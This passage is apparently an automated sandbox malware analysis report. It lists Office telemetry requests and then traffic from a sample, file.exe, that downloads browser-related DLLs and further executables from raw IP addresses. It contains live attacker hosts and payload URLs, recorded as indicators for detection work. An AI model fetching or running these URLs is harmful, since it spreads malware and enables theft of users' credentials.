Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/rh.exe HTTP/1.1Host: 31.41.244.11

Source: 08b36fed-69a7-40d1-a669-84919e605d01.tmp.16.dr

String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 4831Host: login.live.com

Source: file.exe, 00000001.00000002.2725070712.00000000010F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2725070712.0000000001112000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000001.00000002.2725070712.000000000109E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.2724080471.0000000000A67000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000001.00000002.2725070712.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000001.00000002.2725070712.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000001.00000002.2725070712.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllC
Source: file.exe, 00000001.00000002.2725070712.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000001.00000002.2725070712.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllU
Source: file.exe, 00000001.00000002.2725070712.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
